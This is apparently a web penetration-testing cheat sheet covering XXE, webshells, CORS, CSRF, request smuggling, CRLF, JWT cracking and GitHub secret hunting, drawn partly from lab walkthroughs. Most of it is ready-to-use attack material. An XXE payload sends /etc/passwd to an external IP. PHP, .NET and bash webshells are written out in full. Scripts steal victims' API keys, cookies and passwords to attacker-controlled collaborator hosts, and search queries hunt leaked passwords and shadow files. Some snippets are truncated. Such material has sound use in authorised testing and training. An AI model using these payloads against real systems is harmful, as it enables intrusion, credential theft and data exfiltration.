<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://92.222.81.2/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
File stored on http://92.222.81.2/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://92.222.81.2/dtd.xml?%data;'>">
# XXE Inside SOAP
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
# XXE PoC
<!DOCTYPE xxe_test [ <!ENTITY xxe_test SYSTEM "file:///etc/passwd"> ]><x>&xxe_test;</x>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe_test [ <!ENTITY xxe_test SYSTEM "file:///etc/passwd"> ]><x>&xxe_test;</x>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe_test [<!ELEMENT foo ANY><!ENTITY xxe_test SYSTEM "file:///etc/passwd">]><foo>&xxe_test;</foo>
XXE Hidden Attack
- Xinclude
Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite.
Set the value of the productId parameter to:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
- File uploads:
Create a local SVG image with the following content:
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
Post a comment on a blog post, and upload this image as an avatar.
When you view your comment, you should see the contents of the /etc/hostname file in your image. Then use the "Submit solution" button to submit the value of the server hostname.
Cookies
Cookies error padding:
# Get cookie structure
padbuster http://10.10.119.56/index.php xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka 8 -cookies "hcon=xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka" -error "Invalid padding"
# Get cookie for other user (impersonation)
padbuster http://10.10.119.56/index.php xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka 8 -cookies "hcon=xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka" -error "Invalid padding" -plaintext 'user=administratorhc0nwithyhackme'
Webshells
PHP
# system
CURL http://ip/shell.php?1=whoami
www.somewebsite.com/index.html?1=ipconfig
# passthru
# NINJA
;").($_^"/"); ?>
http://target.com/path/to/shell.php?=function&=argument
http://target.com/path/to/shell.php?=system&=ls
# NINJA 2
/'^'{{{{';@${$_}[_](@${$_}[__]);
.NET
<%@Page Language=”C#”%><%var p=new System.Diagnostics.Process{StartInfo={FileName=Request[“c”],UseShellExecute=false,RedirectStandardOutput=true}};p.Start();%><%=p.StandardOutput.ReadToEnd()%>
www.somewebsite.com/cgi-bin/a?ls%20/var
BASH
#!/bin/sh
echo;$_ `${QUERY_STRING/%20/ }`
www.somewebsite.com/cgi-bin/a?ls%20/var
Open Redirect
https://web.com/r/?url=https://phising-malicious.com
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect
- Search in Burp:
“=http” or “=aHR0”(base64 encode http)
- Reflected parameters:
url
rurl
u
next
link
lnk
go
target
dest
destination
redir
redirect_uri
redirect_url
redirect
r
view
loginto
image_url
return
returnTo
return_to
continue
return_path
path
- Dom based:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
jQuery.ajax()
$.ajax()
XMLHttpRequest.open()
XMLHttpRequest.send()
CORS
**Tools**
# https://github.com/s0md3v/Corsy
python3 corsy.py -u https://example.com
# https://github.com/chenjj/CORScanner
python cors_scan.py -u example.com
Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain. It extends and adds flexibility to the same-origin policy (SOP). However, it also provides potential for cross-domain based attacks, if a website's CORS policy is poorly configured and implemented. CORS is not a protection against cross-origin attacks such as cross-site request forgery (CSRF).
The same-origin policy is a restrictive cross-origin specification that limits the ability for a website to interact with resources outside of the source domain. The same-origin policy was defined many years ago in response to potentially malicious cross-domain interactions, such as one website stealing private data from another. It generally allows a domain to issue requests to other domains, but not to access the responses.
| URL accessed | Access permitted? |
| http://normal-website.com/example/ | Yes: same scheme, domain, and port |
| http://normal-website.com/example2/ | Yes: same scheme, domain, and port |
| https://normal-website.com/example/ | No: different scheme and port |
| http://en.normal-website.com/example/ | No: different domain |
| http://www.normal-website.com/example/ | No: different domain |
| http://normal-website.com:8080/example/ | No: different port* |
There are various exceptions to the same-origin policy:
• Some objects are writable but not readable cross-domain, such as the location object or the location.href property from iframes or new windows.
• Some objects are readable but not writable cross-domain, such as the length property of the window object (which stores the number of frames being used on the page) and the closed property.
• The replace function can generally be called cross-domain on the location object.
• You can call certain functions cross-domain. For example, you can call the functions close, blur and focus on a new window. The postMessage function can also be called on iframes and new windows in order to send messages from one domain to another.
Access-Control-Allow-Origin header is included in the response from one website to a request originating from another website, and identifies the permitted origin of the request. A web browser compares the Access-Control-Allow-Origin with the requesting website's origin and permits access to the response if they match.
CORS good example:
https://hackerone.com/reports/235200
- CORS with basic origin reflection:
With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "Account Details".
Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
Send the request to Burp Repeater, and resubmit it with the added header: Origin: https://example.com
Observe that the origin is reflected in the Access-Control-Allow-Origin header.
Now browse to the exploit server, enter the following HTML, replacing $url with the URL for your specific lab and test it by clicking "view exploit":
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','$url/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
Observe that the exploit works - you have landed on the log page and your API key is in the URL.
Go back to the exploit server and click "Deliver exploit to victim".
Click "Access log", retrieve and submit the victim's API key to complete the lab.
- Whitelisted null origin value
With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "My account".
Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
Send the request to Burp Repeater, and resubmit it with the added header Origin: null.
Observe that the "null" origin is reflected in the Access-Control-Allow-Origin header.
Now browse to the exploit server, enter the following HTML, replacing $url with the URL for your specific lab, $exploit-server-url with the exploit server URL, and test it by clicking "view exploit":
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
var req = new XMLHttpRequest ();
req.onload = reqListener;
req.open('get','$url/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='$exploit-server-url/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
Notice the use of an iframe sandbox as this generates a null origin request. Observe that the exploit works - you have landed on the log page and your API key is in the URL.
Go back to the exploit server and click "Deliver exploit to victim".
Click "Access log", retrieve and submit the victim's API key to complete the lab.
- CORS with insecure certificate
With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "Account Details".
Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
Send the request to Burp Repeater, and resubmit it with the added header Origin: http://subdomain.lab-id where lab-id is the lab domain name.
Observe that the origin is reflected in the Access-Control-Allow-Origin header, confirming that the CORS configuration allows access from arbitrary subdomains, both HTTPS and HTTP.
Open a product page, click "Check stock" and observe that it is loaded using a HTTP URL on a subdomain.
Observe that the productID parameter is vulnerable to XSS.
Now browse to the exploit server, enter the following HTML, replacing $your-lab-url with your unique lab URL and $exploit-server-url with your exploit server URL and test it by clicking "view exploit":
<script>
document.location="http://stock.$your-lab-url/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://$your-lab-url/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://$exploit-server-url/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
Observe that the exploit works - you have landed on the log page and your API key is in the URL.
Go back to the exploit server and click "Deliver exploit to victim".
Click "Access log", retrieve and submit the victim's API key to complete the lab.
- CORS with pivot attack
Step 1
First we need to scan the local network for the endpoint. Replace $collaboratorPayload with your own Collaborator payload or exploit server URL. Enter the following code into the exploit server. Click store then "Deliver exploit to victim". Inspect the log or the Collaborator interaction and look at the code parameter sent to it.
<script>
var q = [], collaboratorURL = 'http://$collaboratorPayload';
for(i=1;i<=255;i++){
q.push(
function(url){
return function(wait){
fetchUrl(url,wait);
}
}('http://192.168.0.'+i+':8080'));
}
for(i=1;i<=20;i++){
if(q.length)q.shift()(i*100);
}
function fetchUrl(url, wait){
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(q.length) {
q.shift()(wait);
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()(wait);
}
}, wait);
}
</script>
Step 2
Clear the code from stage 1 and enter the following code in the exploit server. Replace $ip with the IP address and port number retrieved from your collaborator interaction. Don't forget to add your Collaborator payload or exploit server URL again. Update and deliver your exploit. We will now probe the username field for an XSS vulnerability. You should retrieve a Collaborator interaction with foundXSS=1 in the URL or you will see foundXSS=1 in the log.
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
}
))
}
fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>
Step 3
Clear the code from stage 2 and enter the following code in the exploit server. Replace $ip with the same IP address and port number as in step 2 and don't forget to add your Collaborator payload or exploit server again. Update and deliver your exploit. Your Collaborator interaction or your exploit server log should now give you the source code of the admin page.
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
}
))
}
fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>
Step 4
Read the source code retrieved from step 3 in your Collaborator interaction or on the exploit server log. You'll notice there's a form that allows you to delete a user. Clear the code from stage 3 and enter the following code in the exploit server. Replace $ip with the same IP address and port number as in steps 2 and 3. The code submits the form to delete carlos by injecting an iframe pointing to the /admin page.
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
}
))
}
fetchUrl("http://$ip");
</script>
Click on "Deliver exploit to victim" to submit the code. Once you have submitted the form to delete user carlos then you have completed the lab.
# JSONP
In GET URL append “?callback=testjsonp”
Response should be:
testjsonp(<json-data>)
CORS PoC
<!DOCTYPE html>
<html>
<head>
<title>CORS PoC Exploit</title>
</head>
<body>
<center>
<h1>CORS Exploit<br>six2dez</h1>
<hr>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script type="text/javascript">
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if(this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://<vulnerable-url>", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</center>
</body>
</html>
CORS PoC 2
<html>
<script>
var http = new XMLHttpRequest();
var url = 'Url';//Paste here Url
var params = 'PostData';//Paste here POST data
http.open('POST', url, true);
//Send the proper header information along with the request
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onreadystatechange = function() {//Call a function when the state changes.
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send(params);
</script>
</html>
CORS JSON PoC
<!DOCTYPE html>
<html>
<head>
<title>JSONP PoC</title>
</head>
<body>
<center>
<h1>JSONP Exploit<br>secureITmania</h1>
<hr>
<div id="demo">
<button type="button" onclick="trigger()">Exploit</button>
</div>
<script>
function testjsonp(myObj) {
var result = JSON.stringify(myObj)
document.getElementById("demo").innerHTML = result;
//console.log(myObj)
}
</script>
<script >
function trigger() {
var s = document.createElement("script");
s.src = "https://<vulnerable-endpoint>?callback=testjsonp";
document.body.appendChild(s);
}
</script>
</body>
</html>
CSRF
Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform.
3 conditions:
• A relevant action
• Cookie-based session handling
• No unpredictable request parameters
Vulnerable request example:
__
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=wiener@normal-user.com
__
HTML with attack:
__
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
__
Exploit CSRF in POST:
With your browser proxying traffic through Burp Suite, log in to your account, submit the "Change email" form, and find the resulting request in your Proxy history.
If you're using Burp Suite Professional, right-click on the request, and from the context menu select Engagement tools / Generate CSRF PoC. Enable the option to include an auto-submit script and click "Regenerate".
Exploit CSRF in GET:
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">
- SameSite cookie property avoid the attack:
→ Only from same site:
SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict;
→ From other site only if GET and requested by click, not scripts (vulnerable if CSRF in GET or POST converted to GET):
SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax;
<script>
fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Json CSRF
Requirements:
1. The authentication mechanism should be in the cookie-based model. (By default cookie-based authentication is vulnerable to CSRF attacks)
2. The HTTP request should not be fortify by the custom random token on the header as well in the body.(X-Auth-Token)
3. The HTTP request should not be fortify by the Same Origin Policy.
Bypass 2 & 3:
• Change the request method to GET append the body as query parameter.
• Test the request without the Customized Token (X-Auth-Token) and also header.
• Test the request with exact same length but different token.
If post is not allowed, can try with URL/param?_method=PUT
<body onload='document.forms[0].submit()'>
<form action="https://<vulnerable-url>?_method=PUT" method="POST" enctype="text/plain">
<input type="text" name='{"username":"blob","dummy":"' value='"}'>
<input type="submit" value="send">
</form>
<!---This results in a request body of:
{"username":"blob", "dummy": "="} -->
CSRF Token Bypass
CSRF Tokens
Unpredictable value generated from the server to the client, when a second request is made, server validate this token and reject the request if is missing or invalid. Prevent CSRF attack because the malicious HTTP request formed can't know the CSRF Token generated for the victim.
→ Is transmited to the client through a hidden field:
- Example:
__
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com
__
- Validation depends on method (usually POST):
__
GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
__
- Validation depend on token is present (if not, validation is skipped):
--
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
email=pwned@evil-user.net
--
- CSRF not tied to user session
- CSRF tied to a non-session cookie:
--
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com
--
- CSRF token duplicated in cookie:
--
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com
--
- Validation of referer depends on header present (if not, validation is skipped)
- Circumvent referer validation (if only checks the domain existence)
Web cache poisoning
**Tools**
https://github.com/s0md3v/Arjun
python3 arjun.py -u https://url.com --get
python3 arjun.py -u https://url.com --post
https://portswigger.net/research/practical-web-cache-poisoning
Web cache poisoning is an advanced technique whereby an attacker exploits the behavior of a web server and cache so that a harmful HTTP response is served to other users.
Fundamentally, web cache poisoning involves two phases. First, the attacker must work out how to elicit a response from the back-end server that inadvertently contains some kind of dangerous payload. Once successful, they need to make sure that their response is cached and subsequently served to the intended victims.
A poisoned web cache can potentially be a devastating means of distributing numerous different attacks, exploiting vulnerabilities such as XSS, JavaScript injection, open redirection, and so on.
- XSS for users accessing /en?region=uk:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Broken Links
**Tools**
https://github.com/stevenvachon/broken-link-checker
blc -rfoi --exclude linkedin.com --exclude youtube.com --filter-level 3 https://example.com/
Virtual Hosts
**Tools**
https://github.com/jobertabma/virtual-host-discovery
ruby scan.rb --ip=192.168.1.101 --host=domain.tld
ClickJacking
Clickjacking is an interface-based attack in which a user is tricked into clicking on actionable content on a hidden website by clicking on some other content in a decoy website.
- Preventions:
→ X-Frame-Options: deny/sameorigin/allow-from
→ CSP: policy/frame-ancestors ‘none/self/website.com’
An example using the style tag and parameters is as follows:
<head>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://vulnerable-website.com">
</iframe>
</body>
The target website iframe is positioned within the browser so that there is a precise overlap of the target action with the decoy website using appropriate width and height position values. Absolute and relative position values are used to ensure that the target website accurately overlaps the decoy regardless of screen size, browser type and platform. The z-index determines the stacking order of the iframe and website layers. The opacity value is defined as 0.0 (or close to 0.0) so that the iframe content is transparent to the user. Browser clickjacking protection might apply threshold-based iframe transparency detection (for example, Chrome version 76 includes this behavior but Firefox does not). The attacker selects opacity values so that the desired effect is achieved without triggering protection behaviors.
Request smuggling
HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users. Request smuggling vulnerabilities are often critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.
Request smuggling attacks involve placing both the Content-Length header and the Transfer-Encoding header into a single HTTP request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behavior of the two servers:
Most HTTP request smuggling vulnerabilities arise because the HTTP specification provides two different ways to specify where a request ends: the Content-Length header and the Transfer-Encoding header.
- The Content-Length header is straightforward: it specifies the length of the message body in bytes. For example:
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
- The Transfer-Encoding header can be used to specify that the message body uses chunked encoding. This means that the message body contains one or more chunks of data. Each chunk consists of the chunk size in bytes (expressed in hexadecimal), followed by a newline, followed by the chunk contents. The message is terminated with a chunk of size zero. For example:
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
• CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.
◇ Find - time delay:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
• TE.CL: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.
◇ Find time delay:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
• TE.TE: the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.
- CL.TE
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
The second response should say: Unrecognized method GPOST.
- TE.CL
In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
- TE.TE: obfuscating TE Header
In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Web Sockets
WebSockets are a bi-directional, full duplex communications protocol initiated over HTTP. They are commonly used in modern web applications for streaming data and other asynchronous traffic.
WebSocket connections are normally created using client-side JavaScript like the following:
var ws = new WebSocket("wss://normal-website.com/chat");
To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
If the server accepts the connection, it returns a WebSocket handshake response like the following:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
Several features of the WebSocket handshake messages are worth noting:
• The Connection and Upgrade headers in the request and response indicate that this is a WebSocket handshake.
• The Sec-WebSocket-Version request header specifies the WebSocket protocol version that the client wishes to use. This is typically 13.
• The Sec-WebSocket-Key request header contains a Base64-encoded random value, which should be randomly generated in each handshake request.
• The Sec-WebSocket-Accept response header contains a hash of the value submitted in the Sec-WebSocket-Key request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.
CRLF
**Tools**
https://github.com/random-robbie/CRLF-Injection-Scanner
crlf_scan.py -i <inputfile> -o <outputfile>
The following simplified example uses CRLF to:
1. Add a fake HTTP response header: Content-Length: 0. This causes the web browser to treat this as a terminated response and begin parsing a new response.
2. Add a fake HTTP response: HTTP/1.1 200 OK. This begins the new response.
3. Add another fake HTTP response header: Content-Type: text/html. This is needed for the web browser to properly parse the content.
4. Add yet another fake HTTP response header: Content-Length: 25. This causes the web browser to only parse the next 25 bytes.
5. Add page content with an XSS: <script>alert(1)</script>. This content has exactly 25 bytes.
6. Because of the Content-Length header, the web browser ignores the original content that comes from the web server.
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
- Cloudflare CRLF bypass
<iframe src=”%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)”>
Payload list:
/%%0a0aSet-Cookie:crlf=injection
/%0aSet-Cookie:crlf=injection
/%0d%0aSet-Cookie:crlf=injection
/%0dSet-Cookie:crlf=injection
/%23%0aSet-Cookie:crlf=injection
/%23%0d%0aSet-Cookie:crlf=injection
/%23%0dSet-Cookie:crlf=injection
/%25%30%61Set-Cookie:crlf=injection
/%25%30aSet-Cookie:crlf=injection
/%250aSet-Cookie:crlf=injection
/%25250aSet-Cookie:crlf=injection
/%2e%2e%2f%0d%0aSet-Cookie:crlf=injection
/%2f%2e%2e%0d%0aSet-Cookie:crlf=injection
/%2F..%0d%0aSet-Cookie:crlf=injection
/%3f%0d%0aSet-Cookie:crlf=injection
/%3f%0dSet-Cookie:crlf=injection
/%u000aSet-Cookie:crlf=injection
IDOR
Check for valuable words:
{regex + perm} id
{regex + perm} user
{regex + perm} account
{regex + perm} number
{regex + perm} order
{regex + perm} no
{regex + perm} doc
{regex + perm} key
{regex + perm} email
{regex + perm} group
{regex + perm} profile
{regex + perm} edit
Web Services
GraphQL
**Tools**
https://github.com/doyensec/inql
https://github.com/swisskyrepo/GraphQLmap
Past schema here: https://apis.guru/graphql-voyager/
To test a server for GraphQL introspection misconfiguration:
1) Intercept the HTTP request being sent to the server
2) Replace its post content / query with a generic introspection query to fetch the entire backend schema
3) Visualize the schema to gather juicy API calls.
4) Craft any potential GraphQL call you might find interesting and HACK away!
example.com/graphql?query={__schema%20{%0atypes%20{%0aname%0akind%0adescription%0afields%20{%0aname%0a}%0a}%0a}%0a}
JS
# LinkFinder
# https://github.com/GerbenJavado/LinkFinder
python linkfinder.py -i https://example.com -d
python linkfinder.py -i burpfile -b
# JSScanner
# https://github.com/dark-warlord14/JSScanner
# https://securityjunky.com/scanning-js-files-for-endpoint-and-secrets/
bash install.sh
# Configure domain in alive.txt
bash script.sh
cat js/*
cd db && grep -oriahE "https?://[^\"\\'> ]+"
.NET
**Tools**
https://github.com/icsharpcode/ILSpy
https://github.com/0xd4d/dnSpy
JWT
**Tools**
https://github.com/ticarpi/jwt_tool
https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
https://jwt.io/
1. Leak Sensitive Info
2. Send without signature
3. Change algorythm r to h
4. Crack the secret h256
5. KID manipulation
eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjE1ODQ2NTk0MDAsInVzZXJuYW1lIjoidGVtcHVzZXI2OSIsInJvbGVzIjpbIlJPTEVfRVhURVJOQUxfVVNFUiJdLCJhcHBDb2RlIjoiQU5UQVJJX0FQSSIsImlhdCI6MTU4NDU3MzAwMH0.AOHXCcMFqYFeDSYCEjeugT26RaZLzPldqNAQSlPNpKc2JvdTG9dr2ini4Z42dd5xTBab-PYBvlXIJetWXOX80A
https://trustfoundry.net/jwt-hacking-101/
https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9
https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a
- Crack
pip install PyJWT
https://github.com/Sjord/jwtcrack
https://raw.githubusercontent.com/Sjord/jwtcrack/master/jwt2john.py
jwt2john.py JWT
./john /tmp/token.txt --wordlist=wordlist.txt
- Wordlist generator crack tokens:
https://github.com/dariusztytko/token-reverser
Github
**Tools**
# GitDumper
https://github.com/internetwache/GitTools
If we have access to .git folder:
./gitdumper.sh http://example.com/.git/ /home/user/dump/
git cat-file --batch-check --batch-all-objects | grep blob git cat-file -p HASH
# GitGot
https://github.com/BishopFox/GitGot
./gitgot.py --gist -q CompanyName./gitgot.py -q '"example.com"'./gitgot.py -q "org:github cats"
# GitRob https://github.com/michenriksen/gitrob
gitrob website.com
# GitHound https://github.com/tillson/git-hound
echo "domain.com" | githound --dig --many-results --languages common-languages.txt --threads 100
* GitGrabber https://github.com/hisxo/gitGraber
* SSH GIT https://shhgit.darkport.co.uk/
# GithubSearch
https://github.com/gwen001/github-search
# Trufflehog
trufflehog https://github.com/company/repo
* GitMiner [https://github.com/UnkL4b/GitMiner](https://github.com/UnkL4b/GitMiner)
* wordpress configuration files with passwords
python3 gitminer-v2.0.py -q 'filename:wp-config extension:php FTP\_HOST in:file ' -m wordpress -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4 -o result.txt
* brasilian government files containing passwords
python3 gitminer-v2.0.py --query 'extension:php "root" in:file AND "gov.br" in:file' -m senhas -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
* shadow files on the etc paste
python3 gitminer-v2.0.py --query 'filename:shadow path:etc' -m root -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
* joomla configuration files with passwords
python3 gitminer-v2.0.py --query 'filename:configuration extension:php "public password" in:file' -m joomla -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
sudo docker pull zricethezav/gitleaks
sudo docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
Then visualize a commit:
https://github.com/[git account]/[repo name]/commit/[commit ID]
https://github.com/zricethezav/gitleaks/commit/744ff2f876813fbd34731e6e0d600e1a26e858cf
# Manual local checks inside repository
git log
# Checkout repo with .env file
git checkout f17a07721ab9acec96aef0b1794ee466e516e37a
ls -la
cat .env
GitLab
If you find GitLab login panel, try to go to:
/explore
Then use the searchbar for users,passwords,keys...
WAFs
**Tools**
whatwaf https://example.com
wafw00f https://example.com
# bypass-firewalls-by-DNS-history
